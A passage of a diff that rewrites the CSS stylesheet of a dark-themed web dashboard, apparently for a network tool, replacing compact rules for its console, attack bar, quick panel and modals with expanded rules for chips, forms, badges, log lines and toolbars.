-.form-field>label{font-weight:700;color:var(--muted);word-break:break-all} -.form-list{display:grid;gap:8px;padding:8px 10px;border:1px dashed var(--c-border);border-radius:10px;background:var(--c-panel)} -.form-list>label{font-weight:700;color:var(--muted);word-break:break-all} -.form-addrow{display:flex;gap:8px} -.form-addrow input{flex:1;min-width:120px} - -.input,.select{height:var(--control-h);border-radius:var(--control-r);border:1px solid var(--c-border-strong);background:var(--c-panel);color:var(--ink);padding:0 var(--control-pad-x);font:inherit} - -.row-toggle{display:grid;grid-template-columns:1fr auto;align-items:center;gap:10px;padding:8px 10px;border:1px dashed var(--c-border);border-radius:10px;background:var(--c-panel-2)} -.row-toggle>label{color:var(--muted);word-break:break-all;font-weight:600} - -/* Toggle (standalone label+input pattern) */ -.toggle{position:relative;display:inline-block;width:46px;height:26px} -.toggle input{opacity:0;width:0;height:0} -.toggle .slider{position:absolute;inset:0;cursor:pointer;background:var(--switch-track);border:1px solid var(--c-border-hi);border-radius:99px;box-shadow:inset 0 0 0 1px var(--glow-mid);transition:.18s} -.toggle .slider::before{content:"";position:absolute;left:2px;top:2px;width:22px;height:22px;border-radius:50%;background:var(--switch-thumb);box-shadow:0 0 10px var(--acid);transform:translateX(0);transition:.18s} -.toggle input:checked + .slider{background:var(--switch-on-bg)} -.toggle input:checked + .slider::before{transform:translateX(20px)} - -/* Numeric input */ -.input-number{display:inline-flex;align-items:center;gap:var(--gap-2);height:var(--control-h);border-radius:var(--control-r);border:1px solid var(--c-border-strong);background:var(--c-panel);color:var(--ink);padding:0 8px} -.input-number input[type="number"]{width:120px;height:calc(var(--control-h) - 4px);border:0;outline:0;background:transparent;color:var(--ink);font:inherit;padding:0 6px;appearance:textfield;-moz-appearance:textfield;-webkit-appearance:none} -.input-number input[type="number"]::-webkit-outer-spin-button,.input-number input[type="number"]::-webkit-inner-spin-button{-webkit-appearance:none;margin:0} -.input-number input[type="number"]:-webkit-autofill{-webkit-text-fill-color:var(--ink);-webkit-box-shadow:0 0 0 1000px var(--c-panel) inset;box-shadow:0 0 0 1000px var(--c-panel) inset} -.input-number [data-act]{width:30px;height:30px;border-radius:8px;border:1px solid var(--c-border-strong);background:var(--c-btn);cursor:pointer} -.input-number [data-act]:hover{box-shadow:0 0 0 1px var(--c-border-strong) inset, 0 8px 22px var(--glow-weak)} -.input-number [data-act]:active{transform:translateY(1px)} - -/* Number + range compound */ -.input-number-w-slider{display:grid;grid-template-columns:1fr auto;gap:10px;align-items:center;height:var(--control-h);padding:0 8px;border:1px solid var(--c-border-strong);border-radius:var(--control-r);background:var(--c-panel);color:var(--ink)} -.input-number-w-slider input[type="number"]{width:120px;height:calc(var(--control-h) - 4px);border:0;outline:0;background:transparent;color:var(--ink);font:inherit;padding:0 6px;appearance:textfield;-moz-appearance:textfield;-webkit-appearance:none} -.input-number-w-slider input[type="number"]::-webkit-outer-spin-button,.input-number-w-slider input[type="number"]::-webkit-inner-spin-button{-webkit-appearance:none;margin:0} -.input-number-w-slider input[type="number"]:-webkit-autofill{-webkit-text-fill-color:var(--ink);-webkit-box-shadow:0 0 0 1000px var(--c-panel) inset;box-shadow:0 0 0 1000px var(--c-panel) inset} - -/* Range (base) */ -.input-number-w-slider input[type="range"]{-webkit-appearance:none;appearance:none;width:100%;height:var(--slider-h);background:transparent;cursor:pointer} -.input-number-w-slider input[type="range"]:focus{outline:none} - -/* WebKit track + filled track via gradient */ -.input-number-w-slider input[type="range"]::-webkit-slider-runnable-track{height:var(--slider-h);border-radius:999px;background:linear-gradient(90deg, var(--slider-track-fill) 0 var(--_fill,0%), var(--slider-track) var(--_fill,0%) 100%)} -.input-number-w-slider input[type="range"]::-webkit-slider-thumb{-webkit-appearance:none;appearance:none;width:var(--slider-thumb-size);height:var(--slider-thumb-size);margin-top:calc((var(--slider-h) - var(--slider-thumb-size)) / 2);border-radius:50%;background:var(--slider-thumb);border:1px solid var(--c-border-hi);box-shadow:0 0 10px var(--acid)} - -/* Firefox track + progress */ -.input-number-w-slider input[type="range"]::-moz-range-track{height:var(--slider-h);border-radius:999px;background:var(--slider-track)} -.input-number-w-slider input[type="range"]::-moz-range-progress{height:var(--slider-h);border-radius:999px;background:var(--slider-track-fill)} -.input-number-w-slider input[type="range"]::-moz-range-thumb{width:var(--slider-thumb-size);height:var(--slider-thumb-size);border-radius:50%;background:var(--slider-thumb);border:1px solid var(--c-border-hi);box-shadow:0 0 10px var(--acid)} - -/* Focus ring harmonized */ -.input-number-w-slider:has(input:focus){box-shadow:0 0 0 2px var(--slider-focus) inset} -.input-number-w-slider.steppers{grid-template-columns:auto 1fr auto auto} -.input-number-w-slider:not(.steppers){grid-template-columns:1fr auto} - -/* ============================== - 7) Editor - ============================== */ -.editor-textarea{width:100%;min-height:300px;resize:vertical;background:var(--c-panel);color:var(--ink);border:1px solid var(--c-border-strong);border-radius:10px;padding:12px;font:var(--font-mono);line-height:1.5;box-shadow:var(--shadow);background-image:var(--text-gradient);background-attachment:local;overflow:auto} -.editor-textarea:focus{outline:none;border-color:var(--acid);box-shadow:0 0 12px var(--acid)} -.editor-textarea-container{display:flex;flex-direction:column;gap:10px;height:100%} -#editor-textarea{flex:1;min-height:300px;width:100%;resize:none;font-family:ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace;font-size:14px;box-sizing:border-box} - -/* ============================== - 8) Console - ============================== */ -.character-wrap{display:flex;align-items:center;gap:8px;max-width:100%} -.status-character img{flex-shrink:0} -.bjorn-say,.bjorn-status,.bjorn-status2{white-space:normal;overflow-wrap:break-word;word-break:break-word;font-size:clamp(10px, 1vw, 14px);max-width:200px;text-align:left} -#bjornSay,#bjornStatus,#bjornStatus2{flex:1;white-space:normal;overflow-wrap:break-word;word-break:break-word;line-height:1.2;font-size:clamp(10px, 1vw, 14px);max-height:calc(var(--h-bottombar) - 8px);overflow-y:auto} -#logout{padding:12px} - -.console{position:fixed;left:1px;right:10px;bottom:var(--h-bottombar);height:48vh;background:var(--grad-console);border:1px solid var(--c-border-hi);border-radius:14px 14px 12px 12px;box-shadow:0 -30px 80px var(--glow-strong), inset 0 0 0 1px var(--glow-mid);z-index:60;display:grid;grid-template-rows:8px auto auto 1fr;transform:translateY(100%);transition:transform .25s ease} -.console.open{transform:translateY(0)} -.console-head{display:flex;align-items:center;gap:10px;padding:8px 10px} -.console-body{overflow:auto} -.logline{white-space:pre-wrap;border-bottom:1px dashed var(--c-border-muted);padding:6px 0} -.console-resize{position:sticky;top:0;left:0;right:0;height:8px;cursor:ns-resize;background:var(--resize-stripe);border-radius:14px 14px 0 0;z-index:5} - -.console-body .debug{color:var(--log-debug-ink);background:var(--log-debug-bg)} -.console-body .info{color:var(--log-info-ink);background:var(--log-info-bg)} -.console-body .warning{color:var(--log-warn-ink);background:var(--log-warn-bg)} -.console-body .error{color:var(--log-error-ink);background:var(--log-error-bg)} -.console-body .critical{color:var(--log-critical-ink);background:var(--log-critical-bg);box-shadow:0 0 6px var(--log-critical-glow)} -.console-body .success{color:var(--log-success-ink);background:var(--log-success-bg)} -.console-body .failed{color:var(--log-failed-ink);background:var(--log-failed-bg)} -.console-body .connected{color:var(--log-connected-ink);background:var(--log-connected-bg)} - -.console-body .loglvl{display:inline-block;padding:2px 8px;border-radius:999px;font-weight:700;font-size:12px;line-height:1;border:1px solid transparent;vertical-align:baseline} -.console-body .loglvl.debug{background:linear-gradient(180deg, var(--lvl-debug-top), var(--lvl-debug-bot));color:var(--lvl-debug-ink);border-color:var(--lvl-debug-bdr)} -.console-body .loglvl.info{background:linear-gradient(180deg, var(--lvl-info-top), var(--lvl-info-bot));color:var(--lvl-info-ink);border-color:var(--lvl-info-bdr)} -.console-body .loglvl.warning{background:linear-gradient(180deg, var(--lvl-warn-top), var(--lvl-warn-bot));color:var(--lvl-warn-ink);border-color:var(--lvl-warn-bdr)} -.console-body .loglvl.error{background:linear-gradient(180deg, var(--lvl-error-top), var(--lvl-error-bot));color:var(--lvl-error-ink);border-color:var(--lvl-error-bdr)} -.console-body .loglvl.critical{background:linear-gradient(180deg, var(--lvl-crit-top), var(--lvl-crit-bot));color:var(--lvl-crit-ink);border-color:var(--lvl-crit-bdr)} -.console-body .loglvl.success{background:linear-gradient(180deg, var(--lvl-succ-top), var(--lvl-succ-bot));color:var(--lvl-succ-ink);border-color:var(--lvl-succ-bdr)} -.console-body .loglvl.failed{background:linear-gradient(180deg, var(--lvl-fail-top), var(--lvl-fail-bot));color:var(--lvl-fail-ink);border-color:var(--lvl-fail-bdr)} -.console-body .loglvl.connected{background:linear-gradient(180deg, var(--lvl-conn-top), var(--lvl-conn-bot));color:var(--lvl-conn-ink);border-color:var(--lvl-conn-bdr)} -.console-body .loglvl.sseclosed{background:linear-gradient(180deg, var(--lvl-sse-top), var(--lvl-sse-bot));color:var(--lvl-sse-ink);border-color:var(--lvl-sse-bdr)} - -/* File-badge uses hue token (--h) injected per-line; still token-driven */ -.console-body .logfile{display:inline-block;padding:2px 8px;border-radius:999px;background:linear-gradient(180deg, hsla(var(--h), 80%, 25%, .28), hsla(var(--h), 80%, 18%, .38));border:1px solid hsla(var(--h), 95%, 55%, .55);color:hsla(var(--h), 95%, 78%, .95);box-shadow:0 0 0 1px hsla(var(--h), 95%, 55%, .18) inset, 0 8px 22px hsla(var(--h), 95%, 55%, .10);white-space:nowrap} - -/* Attack bar (hidden until .with-attack) */ -.attackbar{display:wrap;gap:8px;padding:8px 10px;align-items:center;border-bottom:1px dashed var(--c-border-strong);background:var(--overlay-solid);backdrop-filter:blur(4px)} -.modal-backdrop#settingsBackdrop{ - background: var(--backdrop-dim); +* { + box-sizing: border-box } -/* Mode "live" pour l’onglet UI : pas d’assombrissement ni de blur */ -#settingsBackdrop.live{ - --backdrop-dim: transparent; - backdrop-filter: none !important; - -webkit-backdrop-filter: none !important; -} -#settingsBackdrop.modal-backdrop { - z-index: 90 !important; +html, +body { + height: 100%; + overflow: clip } -#settingsBackdrop .modal { - z-index: 91 !important; +body { + background: var(--grad-bg-1), var(--grad-bg-2), var(--bg); + color: var(--ink); + font: var(--font-mono) } -console.with-attack .attackbar{display:flex} -.attackbar select,.attackbar input{height:34px;line-height:34px;background:var(--c-panel);color:var(--ink);border:1px solid var(--c-border-strong);border-radius:10px;padding:0 10px;min-width:120px} -.attackbar input{min-width:180px} -.attackbar .btn{height:34px;display:inline-flex;align-items:center;justify-content:center;padding:0 12px;border-radius:10px} -@media (min-width:1101px){.attackbar{flex-wrap:wrap}} -@media (min-width:701px) and (max-width:1100px){.attackbar{flex-wrap:wrap}} -@media (max-width:700px){ - .attackbar{flex-wrap:wrap;overflow-x:auto;-webkit-overflow-scrolling:touch;scrollbar-width:thin;white-space:nowrap} - .attackbar::-webkit-scrollbar{height:6px} - .attackbar::-webkit-scrollbar-thumb{background:var(--c-border-strong);border-radius:6px} + +a { + color: var(--acid); + text-decoration: none +} + +.spacer { + flex: 1 +} + +.icon { + width: 16px; + height: 16px; + display: inline-block +} + +.scanlines { + position: fixed; + inset: 0; + pointer-events: none; + opacity: .33; + background-image: linear-gradient(var(--scanline-a) 50%, var(--scanline-b) 50%); + background-size: 100% 2px; + mix-blend-mode: overlay; + z-index: 999 } /* ============================== - 9) Quick Panel + 2) Enhanced Scrollbars ============================== */ -.grip{position:absolute;left:50%;transform:translateX(-50%);top:6px;width:88px;height:6px;border-radius:99px;background:color-mix(in oklab, var(--acid) 30%, transparent);box-shadow:0 0 12px color-mix(in oklab, var(--acid) 50%, transparent)} -/* unified Quickpanel: single definition + state modifiers */ -.quickpanel{position:fixed;left:0;right:0;top:0;height:var(--qp-h);width:min(720px, 92vw);margin:0 auto;background:var(--grad-quickpanel);border:1px solid var(--c-border-strong);border-top:none;border-radius:0 0 24px 24px;box-shadow:var(--shadow);z-index:65;transform:translateY(calc(-1 * var(--qp-h) - var(--qp-overshoot)));opacity:0;visibility:hidden;pointer-events:none;transition:transform .35s cubic-bezier(.4,0,.2,1), opacity .2s ease, visibility 0s linear .2s} -.quickpanel.open{transform:translateY(0);opacity:1;visibility:visible;pointer-events:auto;transition:transform .35s cubic-bezier(.4,0,.2,1), opacity .2s ease, visibility 0s} -.quickpanel:not(.open){box-shadow:none !important;border-color:transparent !important;transform:translateY(calc(-1 * var(--qp-h) - var(--qp-overshoot))) !important} -@media (max-width:768px){:root{--qp-h:75vh}} - -.qp-header{display:flex;align-items:center;justify-content:space-between} -.qp-head-left{display:flex;flex-direction:column;gap:4px} -.qp-close{width:32px;height:32px;display:inline-flex;align-items:center;justify-content:center;border-radius:8px;cursor:pointer;background:var(--white-06);border:1px solid var(--white-12);color:var(--ink);transition:transform .15s ease, background .15s ease, border-color .15s ease} -.qp-close:hover{background:var(--white-10);border-color:var(--white-20)} -.qp-close:active{transform:scale(.96)} - -/* Badges — deduped: base + variants */ -.badge{padding:3px 8px;border-radius:999px;border:1px solid var(--c-border-strong);background:var(--c-chip-bg);color:var(--muted)} -.badge.is-accent{background:var(--acid-2);color:var(--ink-invert);font-weight:700;border-color:transparent} -.badge.sec-open{border-color:color-mix(in oklab, var(--acid) 55%, transparent)} -.badge.sec-wpa{border-color:color-mix(in oklab, var(--acid-2) 60%, transparent)} -.badge.sec-wep{border-color:color-mix(in oklab, var(--warning) 60%, transparent)} - -.sig{display:inline-grid;grid-auto-flow:column;gap:2px;align-items:end} -.sig i{width:4px;height:6px;display:block;background:var(--c-slot);border:1px solid var(--c-border);border-bottom:none;border-radius:2px 2px 0 0} -.sig i.on{background:var(--acid)} - -.btlist .qprow{grid-template-columns:1fr auto} -.bt-device{display:flex;align-items:center;gap:10px} -.bt-type{color:var(--muted);font-size:12px} - -.state-dot{width:8px;height:8px;border-radius:50%;display:inline-block;background:var(--neutral-44);box-shadow:0 0 10px transparent} -.state-on{background:var(--ok);box-shadow:0 0 10px var(--ok)} -.state-off{background:var(--muted-off)} -.state-err{background:var(--danger);box-shadow:0 0 10px var(--danger)} - -/* ============================== - 10) Launcher (right rail) - ============================== */ -/* Single, authoritative launcher rail (removed conflicting bottom/left rule) */ -/* .launcher{position:fixed;top:64px;bottom:64px;right:16px;width:96px;border-radius:20px;background:transparent;z-index:70;display:flex;flex-direction:column;padding:0;opacity:0;pointer-events:none;transform:translateX(16px);transition:.2s ease;overflow:visible} */ -.launcher { - position: fixed; - top: 64px; - bottom: 64px; - right: 16px; - width: fit-content; - border-radius: 16px; - background: rgb(5 9 15 / 0%); - backdrop-filter: blur(6px); - border: 1px solid var(--c-border-strong); - box-shadow: 0 20px 60px #00ff9a22; - z-index: 70; - display: flex; - flex-direction: column; - gap: 10px; - padding: 10px; - opacity: 0; - pointer-events: none; - transform: translateX(16px); - transition: .2s ease; +*::-webkit-scrollbar { + width: var(--sb-size); + height: var(--sb-size) } -.launcher-scroll { - flex: 1; - display: flex; - flex-direction: column; - gap: 12px; - overflow-y: auto; - overscroll-behavior: contain; - scrollbar-width: none; - scroll-behavior: smooth; - -webkit-overflow-scrolling: touch; -} -.launcher-scroll::-webkit-scrollbar { display: none; } - -.launcher.show { - opacity: 1; - pointer-events: auto; - transform: translateX(0); +*::-webkit-scrollbar-track { + background: var(--sb-track); + border-left: 1px solid var(--c-border); + border-right: 1px solid var(--c-border) } -/* --- Boutons du launcher --- */ -.launcher .lbtn { - all: unset; - display: flex; - flex-direction: column; /* empile icône + titre */ - align-items: center; - justify-content: flex-start; - width: auto; - height: 90px; - cursor: pointer; - position: relative; - overflow: visible; - transition: .25s; - text-align: center; -} -#actionsBtn { touch-action: manipulation; } - -.launcher .lbtn img { - width: 64px; - height: 64px; - object-fit: contain; - opacity: .8; - transition: .25s; - margin-bottom: 4px; +*::-webkit-scrollbar-thumb { + background: linear-gradient(180deg, color-mix(in oklab, var(--sb-thumb) 70%, transparent), var(--sb-thumb)); + border: 2px solid var(--sb-track); + border-radius: 12px; + box-shadow: 0 0 14px var(--sb-outline) inset } -.launcher .lbtn:hover img { - opacity: 1; - transform: scale(1.1); +*::-webkit-scrollbar-thumb:hover { + background: linear-gradient(180deg, color-mix(in oklab, var(--sb-thumb-hi) 70%, transparent), var(--sb-thumb-hi)) } -/* --- Label sous l'image --- */ -.launcher .lbtn .lbtn-label { - font-size: 0.75rem; - line-height: 1.1; - color: var(--c-fg-soft); - pointer-events: none; - text-shadow: 0 0 2px #000; - max-width: 100%; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; +*::-webkit-scrollbar-corner { + background: var(--sb-track) } -.launcher .lbtn:hover .lbtn-label { - color: var(--acid); -} - -/* Tooltip existant (inchangé) */ -.launcher .lbtn[data-tooltip]:hover::after, -.launcher-scroll .lbtn[data-tooltip]:hover::after { - left: 105%; - right: auto; - transform: translateY(-50%); -} - -/* Hard lock to right */ -#launcher.launcher { - left: auto !important; - right: 16px !important; - inset-inline-start: auto; - inset-inline-end: 16px; +* { + scrollbar-width: thin; + scrollbar-color: var(--sb-thumb) var(--sb-track) } /* ============================== - 11) Toasts + 2) Utility Classes ============================== */ -.toasts{position:fixed;left:0;right:0;bottom:64px;display:grid;justify-items:center;gap:8px;z-index:80;pointer-events:none} -.toast{pointer-events:auto;min-width:220px;max-width:90vw;background:var(--c-panel-2);border:1px solid var(--c-border-strong);border-radius:12px;box-shadow:var(--shadow);padding:10px 12px;animation:rise .28s ease} -@keyframes rise{from{transform:translateY(12px);opacity:0}to{transform:translateY(0);opacity:1}} +.spacer { + flex: 1 +} + +.grid-stack { + display: grid; + gap: 14px +} + +.grid-auto-260 { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(260px, 1fr)); + gap: 10px 16px +} + +.grid-auto-320 { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); + gap: 14px +} + +a { + color: var(--acid); + text-decoration: none +} /* ============================== - 12) Modal / Sheet (Wi‑Fi / BT) + 3) Chips (full system) ============================== */ -.modal-backdrop{position:fixed;inset:0;background:var(--glass-8);display:none;align-items:center;justify-content:center;z-index:60} -.modal{width:min(900px, 96vw);max-height:86vh;background:var(--grad-modal);border:1px solid var(--c-border-strong);border-radius:16px;box-shadow:0 40px 120px var(--glow-strong), inset 0 0 0 1px var(--glow-strong);display:grid;grid-template-columns:220px 1fr} -.modal.show{animation:pop .2s ease} -@keyframes pop{from{transform:scale(.96);opacity:0}to{transform:scale(1);opacity:1}} -.tabs{border-right:1px dashed var(--c-border-strong);padding:10px;overflow:auto} -.tabbtn{display:block;width:100%;text-align:left;padding:10px 12px;margin:6px 0;border:1px solid var(--c-border);border-radius:10px;background:var(--c-panel);color:var(--ink);cursor:pointer} -.tabbtn.active{background:var(--grad-chip-selected);outline:2px solid color-mix(in oklab, var(--acid) 55%, transparent)} -.tabpanel{padding:16px;overflow:auto} -.row{display:flex;gap:10px;align-items:center;margin:6px 0} -/* Inline switch (modal lists) */ -.switch{position:relative;width:46px;height:26px;background:var(--switch-track);border:1px solid var(--c-border-hi);border-radius:99px;cursor:pointer;box-shadow:inset 0 0 0 1px var(--glow-mid)} -.switch::after{content:"";position:absolute;top:2px;left:2px;width:22px;height:22px;background:var(--switch-thumb);border-radius:50%;box-shadow:0 0 10px var(--acid);transform:translateX(0);transition:.18s} -.switch.on{background:var(--switch-on-bg)} -.switch.on::after{transform:translateX(20px)} +.chips { + display: flex; + flex-wrap: wrap; + gap: 8px +} -.sheet-backdrop{position:fixed;inset:0;background:var(--glass-8);display:none;align-items:center;justify-content:center;z-index:75} -.sheet{width:min(520px, 94vw);background:var(--grad-modal);border:1px solid var(--c-border-strong);border-radius:14px;box-shadow:0 40px 120px var(--glow-strong);overflow:hidden} -.sheet-head{display:flex;align-items:center;gap:10px;padding:12px 14px;border-bottom:1px dashed var(--c-border-strong)} -.sheet-body{padding:14px;display:grid;gap:12px} -.sheet-foot{display:flex;justify-content:flex-end;gap:8px;padding:12px 14px;border-top:1px dashed var(--c-border)} -.field{display:grid;gap:6px} -.sheet.show{animation:pop .18s ease} -.sheet-backdrop.show{display:flex} +.chip { + display: inline-flex; + align-items: center; + gap: 8px; + padding: 6px 10px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border-hi); + cursor: pointer; + -webkit-user-select: none; + user-select: none; + transition: .18s; + font-size: 13px; + font-weight: 600; + color: var(--ink) +} + +.chip:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak) +} + +.chip.is-selected, +.chip[aria-selected="true"] { + background: var(--grad-chip-selected); + border-color: color-mix(in oklab, var(--acid) 55%, transparent) +} + +.chip.sm { + padding: 4px 8px; + font-size: 12px +} + +.chip.ok, +.chip.run { + border-color: color-mix(in oklab, var(--ok) 55%, transparent); + color: var(--ok) +} + +.chip.err, +.chip.danger { + border-color: color-mix(in oklab, var(--danger) 55%, transparent); + color: var(--danger) +} + +.chip.warn { + border-color: color-mix(in oklab, var(--warning) 55%, transparent); + color: var(--warning) +} + +.chip.info { + border-color: color-mix(in oklab, var(--acid-2) 55%, transparent); + color: var(--acid-2) +} + +.chip-link { + text-decoration: none +} + +.chip2 { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 5px 12px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border); + cursor: pointer; + font-size: 12px; + font-weight: 600; + color: var(--ink); + transition: .18s +} + +.chip2:hover { + border-color: var(--acid); + box-shadow: 0 0 8px var(--glow-weak) +} /* ============================== - 13) Responsive + 4) Forms (inputs, selects, toggles) ============================== */ -@media (max-width:900px){.sidebar{width:240px}.main{left:240px}.modal{grid-template-columns:1fr}.tabs{display:flex;gap:8px;border-right:none;border-bottom:1px dashed var(--c-border-strong)}.tabbtn{flex:1}} -@media (max-width:700px){.logo .sig{display:none}.btn .label{display:none}} +.input, +.select, +.ctl { + height: var(--control-h); + border-radius: var(--control-r); + border: 1px solid var(--c-border-strong); + background: var(--c-panel); + color: var(--ink); + padding: 0 var(--control-pad-x); + font: inherit; + outline: none; + transition: border-color .2s, box-shadow .2s +} + +.input:focus, +.select:focus, +.ctl:focus { + border-color: var(--acid); + box-shadow: 0 0 0 2px rgba(0, 255, 154, 0.15) +} + +.ctl-check { + accent-color: var(--acid) +} + +.range { + -webkit-appearance: none; + appearance: none; + width: 100%; + height: var(--slider-h); + background: var(--slider-track); + border-radius: 999px; + cursor: pointer; + outline: none +} + +.range::-webkit-slider-thumb { + -webkit-appearance: none; + width: var(--slider-thumb-size); + height: var(--slider-thumb-size); + border-radius: 50%; + background: var(--slider-thumb); + border: 1px solid var(--c-border-hi); + box-shadow: 0 0 10px var(--acid); + cursor: pointer +} + +.range::-moz-range-thumb { + width: var(--slider-thumb-size); + height: var(--slider-thumb-size); + border-radius: 50%; + background: var(--slider-thumb); + border: 1px solid var(--c-border-hi); + box-shadow: 0 0 10px var(--acid); + cursor: pointer +} + +.toggle { + position: relative; + display: inline-block; + width: 46px; + height: 26px +} + +.toggle input { + opacity: 0; + width: 0; + height: 0 +} + +.toggle .slider { + position: absolute; + inset: 0; + cursor: pointer; + background: var(--switch-track); + border: 1px solid var(--c-border-hi); + border-radius: 99px; + transition: .18s +} + +.toggle .slider::before { + content: ""; + position: absolute; + left: 2px; + top: 2px; + width: 22px; + height: 22px; + border-radius: 50%; + background: var(--switch-thumb); + box-shadow: 0 0 10px var(--acid); + transition: .18s +} + +.toggle input:checked+.slider { + background: var(--switch-on-bg) +} + +.toggle input:checked+.slider::before { + transform: translateX(20px) +} /* ============================== - 14) Cards / Tiles / Alt buttons (unified) + 5) Modal / Sheet ============================== */ -/* Unified .card: uses gradient surface + themed border */ -.card{background:var(--grad-card);border:1px solid var(--c-border);border-radius:14px;padding:12px 14px;margin:0 0 12px 0;transition:transform .16s ease, box-shadow .16s ease, border-color .16s ease;box-shadow:var(--shadow)} -.card:hover{transform:translateY(-1px);border-color:color-mix(in oklab, var(--accent) 25%, var(--c-border));box-shadow:var(--shadow-hover)} -.card .head{display:flex;align-items:center;gap:10px;margin-bottom:10px} -.card .title{font-weight:600;color:var(--ink);font-size:14px} -.card .meta{color:var(--muted);font-size:12px} +.modal-backdrop { + position: fixed; + inset: 0; + background: var(--glass-8); + display: none; + align-items: center; + justify-content: center; + z-index: 60 +} -/* Unified .tile semantics: lighter panel block */ -.tile{background:var(--panel);border:1px solid var(--border);border-radius:var(--radius);padding:16px;box-shadow:var(--shadow)} +.modal-backdrop.show { + display: flex +} -/* Alternative button set (kept for contexts where .btn != desired) */ -.btn.alt{display:inline-flex;align-items:center;gap:8px;background:var(--btn-bg-solid);color:var(--ink);border:1px solid var(--border);border-radius:12px;padding:8px 12px;transition:background .16s ease, border-color .16s ease, transform .06s ease} -.btn.alt:hover{border-color:color-mix(in oklab, var(--accent) 35%, var(--border))} -.btn.alt:active{transform:translateY(1px)} -.btn.alt.primary{background:linear-gradient(180deg, color-mix(in oklab, var(--accent) 22%, var(--btn-bg-solid)), var(--btn-bg-solid));border-color:color-mix(in oklab, var(--accent) 55%, var(--border))} +.modal { + width: min(900px, 96vw); + max-height: 86vh; + background: var(--grad-modal); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 40px 120px var(--glow-strong); + overflow: hidden; + display: flex; + flex-direction: column +} + +.modal.show { + animation: pop .2s ease +} + +@keyframes pop { + from { + transform: scale(.96); + opacity: 0 + } + + to { + transform: scale(1); + opacity: 1 + } +} + +.modal-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px; + border-bottom: 1px solid var(--c-border) +} + +.modal-body { + flex: 1; + overflow-y: auto; + padding: 16px +} + +.modal-footer { + display: flex; + justify-content: flex-end; + gap: 8px; + padding: 12px 16px; + border-top: 1px solid var(--c-border) +} /* ============================== - 15) Actions Menu (centered dropdown) + 6) State dots ============================== */ -.actions{position:relative} -#actionsMenu.dropdown{position:absolute;top:calc(100% + 6px) !important;left:50% !important;transform:translateX(-50%);right:auto;min-width:320px;max-width:min(92vw, 920px);--safe-bottom:env(safe-area-inset-bottom, 0px);max-height:calc(100dvh - var(--h-topbar) - var(--h-bottombar) - 16px - var(--safe-bottom)) !important;overflow:auto;-webkit-overflow-scrolling:touch;overscroll-behavior:contain} -@media (max-width:700px){#actionsMenu.dropdown{position:fixed !important;top:calc(var(--h-topbar) + 8px) !important;left:50% !important;transform:translateX(-50%);right:auto;min-width:min(92vw, 360px);width:min(92vw, 360px);max-width:92vw;z-index:80;max-height:calc(100dvh - var(--h-topbar) - var(--h-bottombar) - 12px - env(safe-area-inset-bottom, 0px)) !important;overflow:auto;-webkit-overflow-scrolling:touch;overscroll-behavior:contain}} -.actions > .btn:focus,.actions > .btn:focus-visible,#actionsMenu .menuitem:focus,#actionsMenu .menuitem:focus-visible{outline:none !important;box-shadow:none !important} -#actionsMenu .menuitem:focus-visible{background:var(--c-panel)} +.state-dot { + width: 8px; + height: 8px; + border-radius: 50%; + display: inline-block; + background: var(--neutral-44) +} + +.state-on { + background: var(--ok); + box-shadow: 0 0 10px var(--ok) +} + +.state-off { + background: var(--muted-off) +} + +.state-err { + background: var(--danger); + box-shadow: 0 0 10px var(--danger) +} + +/* ============================== + 7) Badges + ============================== */ +.badge { + padding: 3px 8px; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: var(--c-chip-bg); + color: var(--muted); + font-size: 12px; + font-weight: 600 +} + +/* ============================== + 8) Tile + ============================== */ +.tile { + background: var(--panel); + border: 1px solid var(--border); + border-radius: var(--radius); + padding: 16px; + box-shadow: var(--shadow) +} + +/* ============================== + 9) Log line severity classes + ============================== */ +.logline { + white-space: pre-wrap; + border-bottom: 1px dashed var(--c-border-muted); + padding: 6px 0; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + font-size: 12px; + line-height: 1.5 +} + +.logline.dim { + color: var(--muted) +} + +.logline.info { + color: var(--acid-2) +} + +.logline.ok { + color: var(--ok) +} + +.logline.warn { + color: var(--warning) +} + +.logline.err { + color: var(--danger) +} + +/* ============================== + 10) Mark (search highlight) + ============================== */ +mark { + background: rgba(0, 255, 154, 0.25); + color: inherit; + border-radius: 2px; + padding: 0 1px +} + +/* ============================== + 11) Page Toolbar (unified sticky toolbar used across pages) + ============================== */ +.page-toolbar-wrap { + position: sticky; + top: 0; + z-index: 500; + -webkit-backdrop-filter: saturate(1.1) blur(6px); + backdrop-filter: saturate(1.1) blur(6px) +} + +.page-toolbar { + display: flex; + gap: 12px; + align-items: center; + justify-content: space-between; + margin-bottom: 12px; + border: 1px solid var(--c-border-strong); + padding: 8px 10px; + box-shadow: var(--shadow); + background: color-mix(in oklab, var(--panel) 88%, transparent); + border-radius: 16px +} + +/* ============================== + 12) Segmented control (Table/Map/Grid switcher) + ============================== */ +.segmented { + display: inline-flex; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 4px; + box-shadow: var(--shadow) +} + +.segmented button { + appearance: none; + border: 0; + background: transparent; + color: var(--muted); + font-weight: 700; + padding: 8px 14px; + border-radius: 999px; + cursor: pointer; + transition: background .15s ease, color .15s ease, transform .1s ease +} + +.segmented button[aria-pressed="true"] { + background: var(--grad-card); + color: var(--ink); + box-shadow: inset 0 0 0 1px var(--c-border-hi), 0 6px 24px var(--glow-weak); + transform: translateY(-1px) +} + +/* ============================== + 13) Stats bar (horizontal KPI row) + ============================== */ +.stats-bar { + display: flex; + gap: 12px; + flex-wrap: wrap; + padding: 12px; + background: color-mix(in oklab, var(--c-panel-2) 88%, transparent); + border: 1px solid var(--c-border); + border-radius: 12px; + box-shadow: var(--shadow); + -webkit-backdrop-filter: blur(16px); + backdrop-filter: blur(16px) +} + +.stat-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: color-mix(in oklab, var(--c-panel-2) 70%, 